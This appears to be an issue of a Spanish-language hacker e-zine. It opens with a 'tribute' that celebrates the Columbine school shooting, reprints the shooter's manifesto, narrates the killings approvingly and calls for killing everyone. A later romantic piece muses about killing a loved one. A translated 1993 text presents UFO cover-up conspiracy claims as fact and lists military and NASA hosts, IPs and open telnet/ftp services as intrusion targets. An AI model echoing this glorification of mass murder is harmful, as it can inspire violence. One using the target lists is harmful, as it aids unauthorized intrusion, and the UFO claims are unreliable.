Es bueno advertir, que probablemente parte del contenido aqui expuesto sea o-
fensivo para ustedes, en ese caso, mala suerte.

Este texto es un tributo a Eric Harris y Dylan Klebold, es seguro que muchos
de ustedes se sentiran ofendidos y tienen razon de sentirse ofendidos , pero
yo tambien  tengo razon cuando los hago sentirse ofendidos , pero tranquilos
es normal que personas como yo odien personas como ustedes , no se preocupen
por ser estupidos ya que hay muchisimos como ustedes haya afuera.

Ademas de eso se ha de resaltar que parte del texto pasa a ser inexplicable y
su sentido  tiende a  desaparecer , ya que son solo ideas  inconexas  que  no
tienen como objetivo ser entendibles para  al mundo, su unica intencion  ade-
mas de llenar  espacio es dar  un caracter  extravagante y tal vez elegante o
solo estupido o son simples especulaciones como siempre he disfrutado decir.

_____________________________________________________________________________

By now it's over. If you are reading this my mission is complete. I have  fi-
nished  revolutionizing   the neoeuphoric  infliction of my internal terror . 
Your children who have ridaculed me , who have chosen not to accept me ,  who
have  treated me like  I am not worth their time are dead . THEY ARE  FUCKING
DEAD . Surely  you will try to  blame it on the clothes I wear , the  music I
listen to, or the way I choose to present myself --but no. Do not hide behind
my choices . You  need to  face the fact that this comes as a result  of YOUR
CHOICES. Parents and Teachers , YOU FUCKED UP . You have taught these kids to
be gears and sheep. To think and act like those who came before them , to not
accept what is different . YOU ARE IN THE WRONG. I may have taken their lives
and my own -- but it was your doing. Teachers, Parents , LET THIS MASSACRE BE
ON YOUR SHOULDERS UNTIL THE DAY YOU DIE. Am I insane? Maybe. Is it my fault ?
No. I did not choose this life, but I have indeed chosen to exit it . You may
think  the horror ends with the bullet in my  head -- but you wouldn't be  so
lucky. All that I can leave you with to decipher what more extensive death is
to come is ``12Skizto.'' You have until April 26th. Goodbye. 

Eric Harris, April 19th 
_____________________________________________________________________________

Los  personajes de  la siguiente historia  son reales , hipersensibles  de la 
estupida e inaguantable realidad.

De aqui se lanza a un comunicado a la comunidad mundial, que todavia suea un
mundo hermoso , que todavia delira con mariposas, flores y nios en la playa,
esto es un intento por hacer del mundo lo que merece: nada.


ABRIL_20/1999

And it starts... !!!

NARRATIVE TIME LINE OF EVENTS

11:10 a.m. 

Eric Harris llega en su Honda Civic gris 1986 a Columbine High School.
Dylan Klebold llega en su BMW negro 1982. Dejan una bomba de propano de 20
libras en la cafeteria lista para estallar a la 11:17, la bomba no estalla.
Llevan maletines llenos de explosivos y algunas armas suficientes para matar
a la mayoria de estudiantes en Columbine.

11:19 

GO! GO!
sacan sus escopetas de sus maletas, ademas tienen 9 mm semiautomaticas en sus
gabardinas.

And it really starts ... !!!!

Disparan sus primeros tiros, la adrenalina comienza a acumularse matan a la
primera estudiante, hieren a otro uqe felizmente almorzaban en las afueras
del colegio.
Disparan a otros tres estudiantes que van saliendo de la cafeteria.

Son solo personas.

Otros cinco estudiantes se ven sorprendidos por los disparos, cuatro de ellos
logran ocultarse, uno de estos tres es alcanzado por una bala, se salva.
Dylan baja  las escaleras que dan al area exterior de la cafeteria y le da un
balazo a una joven matandola instantaneamente! otro joven es victima de los
disparos, pero se salva .
Eric dispara dandole a otra estudiante, que logra escapar, herida.

"This is what we always wanted to do. This is awesome !" 

11:24 

"Patti " Nielson, una profesora siente la conmocion inocentemente, con el
instinto natural de profesor y adulto responsable se dirige a detener a Eric
y Dylan, creyendo que estan filmando un video y las armas son de juguete.

La inocencia puede ser muy linda, pero es basica y pura estupidez.

Hieren a otro estudiante que confundido no sabe hacia donde huir.
Los dos escapan a la biblioteca mientras Eric y Dylan se distraen con la llega-
da de un comisario, Eric intercambia tiros con el diputado.

11:26

Eric ahora dispara un rifle, los comisarios tratan de darle.
Dylan dispara un arma semiautomatica en el pasillo principal y hacia el pasi-
llo de la biblioteca. Se escuchan las balas golpeando los casilleros.
Otra estudiante es herida en los tobillos, se escapa.
En el segundo nivel un profesor es herido.

11:27 

Eric y Dylan van de arriba a abajo por el pasillo de la biblioteca, disparando
al azar y sin lastimar a nadie y lanzando bombas de tubo por todas partes y
hacia la cafeteria, en los videos de la cafeteria de ven las bellas explosio-
nes.


11:29 - 11:36

Eric y Dylan entran a la biblioteca.

"GET UP!!"

Eric dispara a la copiadora donde una estudiante esta escondida y la lastima
con los despojos que salen volando.
Caminan hacia las ventanas matando un estudiante en el camino, disparan hacia
afuera a las autoridades y los estudiantes. La ley devuelve el fuego.

Eric y Dylan matan a otros cuatro y hieren a otros cuatro, disparan hacia la
puerta del frente matando tres e hiriendo otros cinco, ahora van al centro de
la biblioteca, recargando las armas.

"Yahoo!"

Dos mas estudiantes son matados! y otros dos heridos antes de que Eric y
Dylan dejen la biblioteca.
Son 7 minudos y medio de intensa accion, mueren 10 y otros 12 son heridos,
habian 56 personas en la biblioteca.

11:36

Siguen tirando bombas de tubo hacia la cafeteria y otras direcciones
Eric y Dylan ahora se dirigen al area de ciencias, miran por las ventanas, 
hacen contacto visual con algunos de los aterrados estudiantes, sin hacer
alboroto. Siguen disparando a salones vacios, ponen un explosivo en el salon
de almacenamiento.

11:44 

Vuelven a la cafeteria, Eric trata de darle a las bombas de propano,
no explotan. Se toman un momento, toman agua.

"Today the worlds going to come to an end.  Todays the day we die." 

11:57 

Dejan la cafeteria y se van para la biblioteca, se estan disparando las ulti
mas balas.

12:08  

Los disparos terminan.
Eric y Harris se suicidan. 
Un bello final, para una bella historia.

                                           Todos los hechos aqui narrados son 
                                   copyright de  Eric Harris y Dylan Klebold
                                      cualquier copia de los hechos sera solo
                                                                         eso.

                                                              Columbine  1999
                        ------------------------

Life sometimes pisses me off, 
it's never like I dreamt for me 
For once in my life I'd like to be really set free 
Let me be me. 
Sometimes I cannot take this place 
Each day I feel so hollow, inside I was beating me 
In the past I was known as a freak 
Had no friends, picked on 'cause I was meek 
You think you can relate? You'll never ever find 
You think you feel my hate? Look at me and you will find 
You think your always right? I will always be the sound 
It's time to die. 

Jonathan Davis - KoRn
Freak on a leash

                       ------------------------

Clearly I remember pickin' on the boy 
Seemed a harmless little fuck 
Ooh, but we unleashed a lion... 
Jeremy spoke in class today... 
Try to forget this...try to forget this... 
Try to erase this...try to erase this...From the blackboard... 
 Eddie Vedder - Pearl Jam
Jeremy 

que? que? que? que? que? que? que? que? que? que? que? que? que? que? que? qu
e? que? que? que? que? que? que? que? que? que? que? que? que? que? que? que?
que? que? que? que? que? que? que? que? que? que? que? que? que? que? que? qu
e? que? que? que? que? que? que? que? que? que? que? que? que? que? que? que?
que? que? que? que? que? que? que? que? que? que? que? que? que? que? que? qu
e? que? que? que? que? que? que? que? que? que? que? que? que? que? que? que?
que? que? que? que? que? que? que? que? que? que? que? que? que? que? que? qu
e? que? que? que? que? que? que? que? que? que? que? que? que? que? que? que?
que? que? que? que? que? que? que? que? que? que? que? que? que? que? que? qu
e? que? que? que? que? que? que? que? que? que? que? que? que? que? que? que?
que? que? que? que? que? que? que? que? que? que? que? que? que? que? que? qu
e? que? que? que? que? que? que? que? que? que? que? que? que? que? que? que?


Que? Todo es muy simple cuando encontramos que todo son solo palabras.

"He terminado de revolucionar la neuforica imposicion de mi terror interno."

" No se escondan  detras de mis elecciones . Deben entender  el hecho de que
esto es resultado de SUS ELECCIONES."

" PERMITAMOS QUE ESTA MASACRE ESTE SOBRE SUS HOMBROS HASTA EL DIA DE SU MUER-
TE. "

"Yo no escogi esta vida, pero de hecho he escogido salir."

"FUCK IT ALL, FUCK THIS WORLD, FUCK EVERYTHING THAT YOU STAND FOR, DONT BELONG
DONT EXIST, DONT GIVE A SHIT, DONT EVER JUDGE ME."

                                                        Slipknot - Surfacing

"ITS NOT YOUR FAULT THAT YOU'RE ALWAYS WRONG THE WEAK ONES ARE THERE TO JUSTI-
FY THE STRONG ..."
"THERE'S NO TIME TO DISCRIMINATE, HATE EVERY MOTHERFUCKER THAT'S IN YOUR WAY"
          
                                        Marilyn Manson - The beautiful People


Do you know what the Beautiful people is ?
What else want you to know?

Es lastimoso, es hermoso, me hace feliz, realmente me hace feliz la estupidez
de todos, he encontrado una razon para vivir. 

" I am the ism, My hate's a prism Let's just kill everyone and let your god 
sort them out".
                                   Marilyn Manson - irresponsible hate anthem

Por que simplemente no los matamos a todos y disfrutamos nuestra soledad ,
luego si queremos podemos morir.

Y eso fue todo, muchas de las ideas no me cansare de repetir y al contrario
lo disfruto no son lo suficiente convencionales o comunes para personas como
ustedes, no importa, no veo el momento en que uno de ustedes me mande un 
email tratando de insultarme y es mi primer objetivo con este articulo, so
si no esta de acuerdo con nada de lo anteriormente expuesto no es de mi in-
cumbencia buscarle un cerebro. Disfruto de su estupidez.
Y no puedo esperar el momento en que esos coranzoncitos rojitos, comienzen
a mostrar musculos y comienzen a mostrar comienzos de arterias escupiendo
sangre y depronto de tanto intentar digerir ese espiritu se ahoguen con el.


By now its over! 

                kacimiro - Trenchcoat Legion / Those are your fucking choices

_____________________________________________________________________________
__06_________________________________________________________________________

Buscando sitio www.happiness.com     |XXXXXXX____|
                                     '-----------'

Un dia cualquiera, una noche cualquiera en colombia, a veces camino por ahi y

encuentro a alguien,lo miro,me mira,no soy nadie,el es nadie, nos cruzamos los

caminos,567648000 segundos para que sucediera esto , toda la vida , una serie

de pequeas decisiones , entro , no entro, corro no corro, no tengo afan , no

quiero vivir , 18 aos de desiciones para que nos cruzaramos los caminos , y

no pasa nada , sigo caminando , pienso en todas las cosas que pudieran haber

pasado para que no me encontrara con ella ,un carro ,una bomba ,una bala ,un

cuchillo , un machete ,en fin vivo en colombia muchas cosas puedieron haber 

desviado mi camino para conocerla a ella, Un concierto , una noche , simple-

mente 3600 * 120 segundos , fueron suficientes para morir , morir en ella, 

morir en mi ,morir para este puto mundo de mierda que no me ofrece nada, 3600

segundos * 24 horas * 365 dias * 17 6/8 aos para nacer en ella , nacer para

este mundo con el unico fin de vivir para ella , pensar , hablar , oir , ver,

todo por ella, para ella , vivir por ella y lo mas importante matar por ella,

yo me mataria por ella , yo la mataria por mi , si no puedo poseerte simple-

mente te matare , piensalo ... los beneficios son muchos , puedes morir olvi-

dar todo , morir por todo , simplemente somos demasiado bellos para vivir en

este mundo .

Piensalo bien las posibilidades son demasiadas , un carro , un avion , una

omba , cualquier momento hubiera sido posible ,es demasiado doloroso , sim-

plemente te conoci , y todo cambio , la miseria desaparecio , nuestras fami-

lias no importaron,un atajo de cerdos , bestias sin vision , maldito ganado ,

todo dejo de importar, todo desaparecio, contigo desaparecio la infelicidad ,

todo gracias a que te conoci,a que un dia un taxi alcanzo a frenar a tiempo,

otro dia el asesino se metio una casa mas alla, otro dia la perica no fue

suficiente, 18 aos atras mi padre no tenia un maldito condon , mi vida es

producto del maldito azar , nada de lo que tengo es valioso cualquier cosa se

me hubiera podido arrebatar facilmente , todo el maldito mundo como lo conoz-

co es fruto de la suerte, todo es una broma ,por ,maravilosa que seas tu tam-

bien eres producto de la nada, lo siento no me mereces y no te merezco , somos

nada , somos fruta podrida en la mesa de un rico mercader hindu del siglo V ,

somos el Super Mario Bros de un infante del siglo 41 . no somos nada, somos

simplemente expresion del kaos, por siempre y para siempre , y realmente

podria vivir con esto , si no te hubiera conocido , simplemente lo arruinaste

TODO .

                .______________________________________________.
                |Microsoft Internet Explorer                 |X|\
                |----------------------------------------------| |
                |                                              | |
                | No se puede abrir www.happiness.com          | |
                |                                              | |
                | No se ha podido establecer una conexion con  | |
                | el servidor                                  | |
                |                                              | |
                |              .----------.                    | |
                |              | Cancelar |                    | |
                |              '----------'                    | |
                |______________________________________________| |
                \_______________________________________________\|




             Dedicado : a ti , a quien mas ?         

          
      

   Sadly by Vil Roach / Trenchcoat Legion - We are all part of the disposable
                                                                       things

_____________________________________________________________________________
__07_________________________________________________________________________

Ensamblador bajo win32 

Hey, que hay? De ahora en adelante vamos a dedicar esta seccion para trabajar
en algunos programitas en esta ocasion vamos a hacer un patch, posteriormen-
te haremos Key Generators, Triners, Key Loggers, generic patchers o mas lla-
mados search-and-destroy-patcher y diversas utilidades de cracking, hacking,
etc... en win32, con su completo analisis para los principiantes.

So? Lets go.

Esta seccion se ve muy bonita, lastima que tengamos que dejarla pa' la proxi-
ma.
Suerte.
_____________________________________________________________________________
__08_________________________________________________________________________

Hackers Se encargan de  Ovnis

NOTA : Exte texto lo encontre pro ahi mientras navegaba en Internet y la uni-
ca razon por la que me decidi a traducirlo es porque me parecio Divertido
simplemente , independientemente de la capacidad de verificar los hechos aqui
presentados ;)

Fecha : Sat, 23 Jan 93 01:15:50 PST
Asunto : Archivo 4 -- "Hackers" Se encaragan de Ovnis

((COMENTARIO DEL MODERADOR : Nosotros -hemos leido un poco de investigacion
acerca de OVNIs, "hackers" e investigadores de guerrilla. Sean Mito o reali-
dad,estas discusiones representan un segmento de la cultura de la computacion
que algunos encuentran interesante. Asi que presentamos lo siguiente como una
reflexion de un segmento de la cultura que aunque sea mitico , recuerda de
nuevo la vieja pregunta : Esta vivo o es Memorex?)).

Han comenzado a surgir rumores acerca de un grupo de hackers que estuvieron
involucrados en un proyecto para encubrir informacion refernte a la existencia
de Ovnis. EL ejemplo mas publico pertinente a estos rumores fue visto en
Dateline NBC en voz de el misterioso hacker "Quentin"

La historia dice que este grupo de individuos decidieron reunir sus habilida-
des para trabajar en un proyecto , que en caso de tener exito, legitimaria la
actividad del hacking encubriendo informacion en lo que ha sido llamada el mas
grande encubrimiento de toda la historia del mundo Entero (N. Del T. : !!;).
Diferentes MILNET TAC ID fueron obtenidos gracias a oficiales militares sim-
patizantes de la causa. Muchos sitios y Networks que en le pasado tuvieron
vinculo con la actividad Ovni, fueron estudiadas. Sitios como el "Jet Propul
sion Laboratory","Sandia labs" ,"TRW Space Research","American Institute of
Physics", y varios mas sitios educacionales, militares y gubernamentales.

Los rumores tambien enfatizan que muchos de estos sitios tienen lo que los
informantes llaman "Seguridad Particularmente Fuerte". Despues de unos cuantos
segundos de que la conexion con estos sitios se hubiera llevado a cabo los
administradores de los equipos usados en este proyecto fueron contactados.
Incluso otros rumores afirman que en uno de los sitios habia informacion con-
cerniente al analisis de un nuevo sistema de propulsion diseado en base a
"corona discharge". El mas sinietro de todos los rumores indica que un parti-
cipante particular profundamente inmerso en la network del TRW Space Research
no ha vuelto a ser visto desde que descubrio datos concernientes a una de las
instelaciones del TRW en California del Sur.

Crea lo que usted quiera acerca de la realidad de este proyecto. Y aunque
mucha de la informa cion sera descartada por los saberes del hacker , no hay
que olvidar que en el origen de cada rumor siempre reside un grano de verdad.

No estan mintiendo? Proque esta informacion continua clasificada por la NSA?
Que tratan de escondernos tras ese laberinto de seguridad? Continuaremos es-
tando al margen, sin procuparnos y evadiendo deliberadamente el escudo con el
que el gobierno trata de escoonder lo que seria la mas importante y potencial
mente peligrosa noticia en toda la superficie?  la informacion debe ser libre
y solo un grupo concertado y enfocado puede hacer que esto pase. En realidad
cuanto queremos saber acerca de lo que realmente esta sucediendo?

Lo que sigue a continuacion es informacion que se ha obtenido gracias a este
proyecto ...


++++++++++++++++++++++++

PROYECTO ALF-1

Un esfuerzo planetario 

TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET

Estos son datos en bruto (raw). Donde los comentarios sean apropiados seran
incluidos. Los datos seran agrupados junto con fechas, nombres, etc. Para ha-
cer correlaciones mas tarde.

Existen infinitas referencias acreca de los aliens, sus naves caidas, y lo que
el gobierno hace con estas.Si, como es supuesto, la investigacion acerca de
las naves y los "Ovninautas" continua hoy en dia , indudablemente debe exis-
tir datos guardados en computadores, en algun lado.(N.D.T: ohhhh!!!).

I. Buscando en los cielos; Llenando de trampas la barricada electronica alre-
dedor USA.

US Space Command Space Surveillance Center, Montaa Cheyenne ,
Colorado Springs, Box Nine (Electronic Surveillance Room) (aqui
es donde buscan actividad ovni en USA .) U.S. Naval Space
Surveillance System, Dahlgreen, Virginia, (Computer Principal), Lake
Kickapoo, Texas : BUSCAR POR :

'Flash Traffic'
Commander Sheila Mondran
CINC-NORAD
Space Detection and Tracking System
Malabar, Florida
'Teal Amber' search
National Military Command Center - Pentagon

(En todas estas areas es donde se rastrea la actividad OVNI)

Existe un escudo de radar acerca de el pais que es "Trampeado" por los OVNIs.
(Todo el rastreo y el Arrebatamiento por F14 se hace a traves de este sistema)

II. El Segundo encubrimiento 


Defense Intelligence Agency
Directorate for Management and Operations
Project Aquarius (En conjunto con el SRI)

Colonel Harold E. Phillips, Army (Donde/Que Feb. 1987)
UFO Working Group, (Formado en Dec 1987)
Major General James Pfautz, USAF, Ret. (March 87)
US Army experiments -(Monroe Institute, Faber, VA)
Major General Albert Stubblebine
Capt. Guy Kirkwood,
(Cientos de metros de pelicula filmada de OVNIs catalogados y grabados en al-
gun lado)
(El Ufo Owrking Group fue formadoporque una parte del gobierno no sabe lo que
esta haciendo la otra.)


III. Seguridad Nacional

NSA NAtional Security Agency, Dundee Society (Elite super secreta
que ha trabajado con OVNIs.)
NSA - Research and Engineering Division
NSA - Intercept Equipment Division
Kirtland Force Base, Office of Special Investigations, Project
Beta. 1979-83-?  (Los Sandia Labs Estan Aqui.)
Paul Bennewitz
Proyecto Blue
Proyecto Blue Book

(Los computadores del NSA hacen analisis para el pentagino.)

IV. Mas Jugadores Secertos


NASA, Fort Irwin, Barstow, CA
NASA Ames Research Center, Base Naval en Moffet Field 
SETI
State Dept. Office of Advanced Technology
Cualquier astronauta del Mercury, Gemini, o el Apollo.
CIA - Office of Scientific Investigation
CIA - Domestic Collection Division

(NASA Tiene conocimiento de los OVNIs desde que los atronautas los fotogra-
fiaron.
Registros en algun lado.)

V.  Dealing with the Secret

MJ-12 (1952)
Majectic 12
Operation Majestic 12
MAJIC-12
Admiral Roscoe H. Hillenkoetter
Dr. Vannevar Bush
Dr. Detlev Bronk
Dr. Jerome Hunsaker
Dr. Donald Menzel
Dr. Lloyd Berkner
General Robt. Montague
Sidney Souers
Gordon Gray
General Hoyt Vandenberg
Sect State James Forrestal
General Nathan Twining
Pres. Truman
Pres. Eisenhower

            (Uno De Los Secretos Mas Grandes de la Historia.)

Nevada Desert, Area 51, S4 (houses UFO's)
(Robert Lazar Hablo!) 9 Naves espaciales almacenadas. Propulsion por medio
de "corona discharge".

(Area 51 es la base militar mas protegida del Planeta.)

VI. ROSWELL, NM Crashes
Mac Brazel (campesino)
Major Jesse A. Marcel
509th. Bomber Group
Lewis Rickett, CIC Officer
Colonel William Blanchard
Gerald Anderson, Testigos de choques y aliens.

Wright Patterson Air Force Base, (Partes de Ovni catalogadas;
Autopsias en registro) (Cuerpos en base subterranea)
Foreign Technology Building
USAAF (United States Army Air Force reporta: "Automatizacion proxima"
Muroc, CA (Base con Ovnis para Estudio)

(1 Platillo con 4 cuerpos. Estos fueron transpotados a La base Wright y 
catalogados, estudiado y embalsamados.)

VII. GENTE EN LA LISTA NEGRA DEL GOBIERNO

(Gente que ha estado realmente cerca.)

Robert Lazar
Major Donald Keyhoe
William Moore
Stanton Friedman
Jaime Shandera
Whitley Streiber
Timothy Goode, UK

Other UFO Crashes
Del Rio, TX 12/50, Colonel Robert Willingham
Las Vegas, 4/18/62
Kecksburg, PA 12/9/65

VIII. International

Belgian Air Force.  (Se estan volviendo publicos y tienen registros.
Conferencia de prensa realizada en : 7/12/91.)
Australian Air Force
UK; GCHQ
British Air Force
Belgium:
NATO Radar Stations

IX. UFO Civilian Groups. (Que es lo que saben realmente?)

NICAP, National Investigations Committee on Aerial Phenomena
(Compaia privada.)

APRO, Tucson, AZ (Aerial Phenomena Research Organization,
Compaia privada.)

MUFON Mutual UFO Network

X. GENERAL

Kenneth Arnold, June 24, 1947
Cattle and Sheep Mutilations
General and Pres. Eisenhower, (Archivos privados y Biblioteca)
President Truman
Wright Field or Wright Patterson Air Force Base, Dayton, OH, (Division)
De Tecnologia Extranjera de la Fuerza Aerea)
USAF Project Saint
USAF Project Gemini
Project Moon Dust
Project Sign
Project Grudge
General Hoyt Vandenberg (1940-1960)
Air Force Regulation 200-2 (8/12/54)
Holloman AFB, NM
Roswell, NM July 7, 1947


XI. Posible busquedas

Librerias Presidenciales
Old USAAF, (United States Army Air Force)
NASA
Astronauta Frank Borman, Gemini 7, Fotos de un Ovni
Neil Armstrong, Apollo 11, vio Ovni en la luna 
Colonel Gordon Cooper Vio un monton de OVNIs
James McDivitt, 6/66
United Nations
NATO;
General Lionel Max Chassin, Fuerza Aerea Francesa
Star Wars, United Kingdom, 23 cientificos asesinados en 6 aos.
Gulf Breeze, FL
Additional UFO records at NSA, CIA, DIA,  FBI


Buena Busqueda  (N. Del Traductor:"And May The Force Be With You")


+++++++++++++++++


                    Project
                ->Green Cheese<-
                  Base de Datos


++++++++++++++++++
Holloman AFB
   Locacion: New Mexico.  Posible aterrizaje planeado 15 aos atras.


DDN Locaciones:
+++++++

NET : 132.5.0.0 : HOLLOMAN :

GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW :
GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW :


HOST : 26.10.0.74 : HOLLOMAN-TG.AF.MIL : VAX-8650 : VMS : TCP/FTP,TCP/TELNET,TCP
       SMTP :

HOST : 26.6.0.74 : HOLLOMAN-AM1.AF.MIL : WANG-VS100 : VSOS : TCP/TELNET,TCP/FTP,
       TCP/SMTP :

Host: DDNVAX2.6585TG.AF.MIL
      156.6.1.2

+++++++++++++++++++++++

Kirtland Air Force Base
    Oficina de Investigaciones especiales. Los Sandia Labs estan aqui tambien
    Esta el NSA Intercept Equipment Division.

Key Words/names:
++++++++
Sandia Labs
Project Beta (1979-83-?)
Paul Bennewitz
Project Blue
Project Blue Book

DDN Locations:
+++++++

NET : 131.23.0.0 : KIRTLAND-NET :
NET : 132.62.0.0 : KIRTLAND2 :
GATEWAY : 26.17.0.48, 131.23.0.1 : KIRTLAND2-GW.AF.MIL,KIRTLAND-GW.AF.MIL
        : CISCO-MGS : UNIX : IP/GW,EGP :
GATEWAY : 26.18.0.87, 132.62.0.1
        : KIRTLAND1-GW.AF.MIL,KIRTLAND1606ABW-GW.AF.MIL : CISCO-MGS :
        : EGP,IP/GW :
HOST : 26.0.0.48 : KIRTLAND.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.87 : KIRTLAND2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.6.0.87 : KIRTLAND-AM1.AF.MIL : WANG-VS300 : VS ::

+++++++++++++++++++++++

NASA
   Que puedo decir acerca de la NASA que no se sepa ya? ...
   (Excepto que la siguiente son lugares especificos de la NASA no son
   simplemnte lugares sospechosos seleccionados al azar).

DDN locations:
+++++++

Fort Irwin, Barstow, CA:
+++++++++
NET : 134.66.0.0 : IRWIN :
NET : 144.146.0.0 : FTIRWIN1 :
NET : 144.147.0.0 : FTIRWIN2 :
GATEWAY : 26.24.0.85, 26.7.0.230, 144.146.0.1, 144.147.0.0
        : FTIRWIN-GW1.ARMY.MIL : CISCO-GATEWAY : CISCO : IP/GW,EGP :
HOST : 26.14.0.39 : IRWIN-ASBN.ARMY.MIL : NCR-COMTEN-3650 : COS2 ::
HOST : 26.13.0.85 : FTIRWIN-AMEDD.ARMY.MIL : ATT-3B2-600G : UNIX
     : TCP/FTP,TCP/SMTP,TCP/TELNET :
HOST : 26.14.0.85 : FTIRWIN-IGNET.ARMY.MIL : DATAPOINT-8605 : RMS ::
HOST : 26.15.0.85 : IRWIN-EMH1.ARMY.MIL,FTIRWIN-EMH1.ARMY.MIL : SPERRY-5000
     : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET :

Moffet Field Naval Base (Centro de Investigaciones Ames):
+++++++++++++++++++++
GATEWAY : 26.20.0.16, 192.52.195.1 : MOFFETT-FLD-MB.DDN.MIL,AMES-MB.DDN.MIL
        : C/70 : CHRYSALIS : IP/GW,EGP :
HOST : 26.0.0.16 : MOFFETT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

+++++++++++++++++++++++

Pentagon (Centro De Comando Militar )
    Uno de los muchos lugares sospechosos del estudio de los OVNIs


Possible DDN sights:
+++++++

GATEWAY : 26.9.0.26, 134.205.123.140 : PENTAGON-GW.HQ.AF.MIL : CISCO-AGS :
        : EGP,IP/GW :
GATEWAY : 26.25.0.26, 131.8.0.1 : PENTAGON-GW.AF.MIL,HQUSAFNET-GW.AF.MIL
        : CISCO-MGS :: IP/GW,EGP :
GATEWAY : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN-GW.ARMY.MIL : SUN-360
        : UNIX : IP/GW,EGP :
GATEWAY : 26.26.0.247, 192.31.75.1 : PENTAGON-GW.ARMY.MIL : SUN-3/160
        : UNIX : EGP,IP/GW :
GATEWAY : 26.31.0.247, 26.16.0.26, 141.116.0.1 : PENTAGON-GW1.ARMY.MIL
        : CISCO : CISCO : IP/GW,EGP :
HOST : 26.0.0.26 : PENTAGON.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.24.0.26 : OPSNET-PENTAGON.AF.MIL : VAX-8500 : VMS
     : TCP/TELNET,TCP/FTP,TCP/SMTP :
HOST : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN.ARMY.MIL : SUN-360 : UNIX
     : TCP/FTP,TCP/SMTP,TCP/TELNET :
HOST : 26.0.0.247 : PENTAGON2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.7.0.247 : PENTAGON-AMSNET.ARMY.MIL : AMDAHL : MVS
     : TCP/TELNET,TCP/FTP :
HOST : 26.14.0.247 : NSSC-PENTAGON.NAVY.MIL : ALTOS-3068A : UNIX
     : TCP/FTP,TCP/TELNET,TCP/SMTP :
HOST : 26.18.0.247 : PENTAGON-EMH4.ARMY.MIL : SPERRY-5000/80 : UNIX
     : TCP/TELNET,TCP/FTP,TCP/SMTP :
HOST : 26.26.0.247, 192.31.75.1 : PENTAGON-AI.ARMY.MIL : SUN-3/160 : UNIX
     : TCP/TELNET,TCP/FTP,TCP/SMTP,TCP/FINGER :

+++++++++++++++++++++++

Raddaman
   Locacion del Famoso Edificio 18a. Sospecha de naves y otras?

DDN locacion, Todavia Desconocida.


++++++++++++++++++++++++++

SECI
     ?

DDN Locations:
+++++++

NET : 192.108.216.0 : ARC-SETI-NET :

++++++++++++++++++++++++++

Locaciones en Utah :



GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL
       : CISCO-MGS :: IP/GW,EGP :

GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL
        : CISCO-MGS :: IP/GW,EGP :

HOST : 26.5.0.20 : HILL.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.99 : HILL2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.12.0.99 : HILL-AM1.AF.MIL : WANG-VS100 : VS
     : TCP/TELNET,TCP/FTP,TCP/SMTP :

++++++++++++++++++++++++

Wright Patterson AFB
 Partes de OVNIs catalogadas. Autopsias en registros. Cuerpos localizados
 en una base subterranea construida con tecnologia extraterrestre.

DDN Locations:
+++++++


HOST : 26.0.0.47 : WRIGHTPAT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.8.0.123 : WRIGHTPAT2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.124 : WRIGHTPAT3.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.3.0.170 : WAINWRIGHT-IGNET.ARMY.MIL : CONVERGENT-TECH-CN-100
     : CTOS ::
HOST : 26.0.0.176 : WRIGHTPAT4.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

++++++++++++++++++++++++

Nevada:


NET : 131.216.0.0 : NEVADA :


++++++++++++++++++++++++

Otras Nets Sospechosas :

WIN:
  Network Muy Secreta. Todos los nombres de los cordinadores terminan en Win

NET : 141.8.0.0  : DFN-WIN8  : NET : 141.9.0.0  : DFN-WIN9  :
NET : 141.10.0.0 : DFN-WIN10 : NET : 141.15.0.0 : DFN-WIN15 :
NET : 141.25.0.0 : DFN-WIN25 : NET : 141.26.0.0 : DFN-WIN26 :
NET : 141.28.0.0 : DFN-WIN28 : NET : 141.57.0.0 : DFN-WIN57 :
NET : 141.58.0.0 : DFN-WIN58 : NET : 141.59.0.0 : DFN-WIN59 :
NET : 141.60.0.0 : DFN-WIN60 : NET : 141.61.0.0 : DFN-WIN61 :
NET : 141.62.0.0 : DFN-WIN62 : NET : 141.63.0.0 : DFN-WIN63 :
NET : 141.64.0.0 : DFN-WIN64 : NET : 141.65.0.0 : DFN-WIN65 :
NET : 141.66.0.0 : DFN-WIN66 : NET : 141.67.0.0 : DFN-WIN67 :
NET : 141.68.0.0 : DFN-WIN68 : NET : 141.69.0.0 : DFN-WIN69 :
NET : 141.70.0.0 : DFN-WIN70 : NET : 141.71.0.0 : DFN-WIN71 :
NET : 141.72.0.0 : DFN-WIN72 : NET : 141.73.0.0 : DFN-WIN73 :
NET : 141.74.0.0 : DFN-WIN74 : NET : 141.75.0.0 : DFN-WIN75 :
NET : 141.76.0.0 : DFN-WIN76 : NET : 141.77.0.0 : DFN-WIN77 :
NET : 141.78.0.0 : DFN-WIN78 : NET : 141.79.0.0 : DFN-WIN79 :
NET : 141.80.0.0 : DFN-WIN80 : NET : 141.81.0.0 : DFN-WIN81 :
NET : 141.82.0.0 : DFN-WIN82 : NET : 141.83.0.0 : DFN-WIN83 :
NET : 141.84.0.0 : DFN-WIN84 : NET : 141.85.0.0 : DFN-WIN85 :
NET : 141.86.0.0 : DFN-WIN86 : NET : 141.87.0.0 : DFN-WIN87 :
NET : 141.88.0.0 : DFN-WIN88 : NET : 141.89.0.0 : DFN-WIN89 :
